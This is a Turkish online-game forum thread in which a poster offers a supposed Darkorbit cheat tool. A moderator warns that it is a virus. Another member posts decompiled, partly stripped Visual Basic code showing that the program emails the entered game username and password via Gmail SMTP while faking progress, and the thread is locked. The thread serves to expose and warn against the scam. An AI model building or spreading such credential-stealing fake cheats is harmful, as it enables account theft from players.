mavzermete 1
mavzermete
M 1
m2referencee
Fethi Polat 1
Fethi Polat
InfernoShade 1
InfernoShade
farkmt2official 1
farkmt2official
romegames 1
romegames
bikral 1
bikral
PrimeAC 1
PrimeAC
Hikaye Ekle

Darkorbit uber hack | uri. Hack | türkçeleşirilmiş | [kanıt]

  • Konuyu başlatan Konuyu başlatan GoldAtack
  • Başlangıç tarihi Başlangıç tarihi
  • Cevaplar Cevaplar 4
  • Görüntüleme Görüntüleme 695
Durum
Üzgünüz bu konu cevaplar için kapatılmıştır...

GoldAtack

Level 5
TM Üye
Katılım
9 Eyl 2012
Konular
67
Mesajlar
555
Online süresi
2d 14h
Reaksiyon Skoru
47
Altın Konu
0
TM Yaşı
13 Yıl 9 Ay 12 Gün
Başarım Puanı
131
MmoLira
162
DevLira
3
Ticaret - 0%
0   0   0

HERAKLES Otomatik Avlı kalıcı sunucu. 19 Haziran'da açılıyor. Atius & Wizard güvencesiyle hemen kayıt ol, ön kayıt ödülleri aktif. HEMEN TIKLA!

Arkadaşlar daha önce oldugu gibi hileleri türkçeleştiriyorum.
 
Moderatör tarafında düzenlendi:
Esed virüs var diyor indirmeyin.
 
kardeşim belliki vb diliyle bir mail gönderici yapmışsın.Lamerlıkla uğraşma fayda vermez.

Virüstotaldaki dosya 96 byte
program 169 kb.
Darkorbit gibi java ve flash tabanlı bir sisteme nasıl dışardan müdahale edebiliyor?
Ve programın kodlarını decompile ettim ve kodları size tanımlayayım
Videoda programı türkçeleştiren buttonu koymuşsun bu demekki ya kodları biliyorsun ya sen yazmışsın.

If (Me. . = "") Then--- kullanıcı ıdınızı yazdığınız yer boşsa hata veriyor
. ("Kullanıcı Adı Yanlış", . , Nothing)
If (Me. . = "") Then -- aynı şekilde
. ("Şifre Yanlış", . , Nothing)
End If
End If
Dim client As New
Dim message As New

client. = &H24B
client. = "smtp.gmail.com"
client. = True
message = New With { _

}

message. = ("Username : " & Me. . )--- gönderilecek mesajın konusu --- kullanıcı adınızı
message. = ("Password : " & Me. . & ",")---içerikde şifreniz
client. (message)--gönderiyor.
Me. .

Private Sub (ByVal sender As , ByVal e As )
. . . --inandırıcı olsun diye 2.bir form oluşturmuş
End Sub


Private
Sub (ByVal sender As , ByVal e As )
Me. . --- timer objesini çalıştırıyor
End Sub


Private
Sub (ByVal sender As , ByVal e As )
Me. . (1)-progressbar var.
If (Me. . = Me. . )progressbarın değerini maximum değerine getiriyor(bitti gibi göstermek için) Then
Me. . = True
End If
End Sub
PrivateSub
(ByValsender As , ByVale As ) . ("12JB-14DF-F4G0-I9S5", . , Nothing)-Sürekli aynı şey üretiliyor.
. ("Lütfen hileyi giriş ekranından kapatınız.Aksi taktirde hile sürekli aynı kodu oluşturur.", . , Nothing)
End Sub

Senin dilin c# olmaya bilir decompiler aracım dilden dile çevirebiliyor.
BU KADAR KANIT YETER//indirmeyin.kilit
Ayrıca hiç inandırıcı değilsin..
 
virüslü dosya +virüstotalde taranılan dosyayla paylaşılan sözde hile aynı değil o yüzden konu kilit!
 
Durum
Üzgünüz bu konu cevaplar için kapatılmıştır...

Şu an konuyu görüntüleyenler (Toplam : 0, Üye: 0, Misafir: 0)

Geri
Üst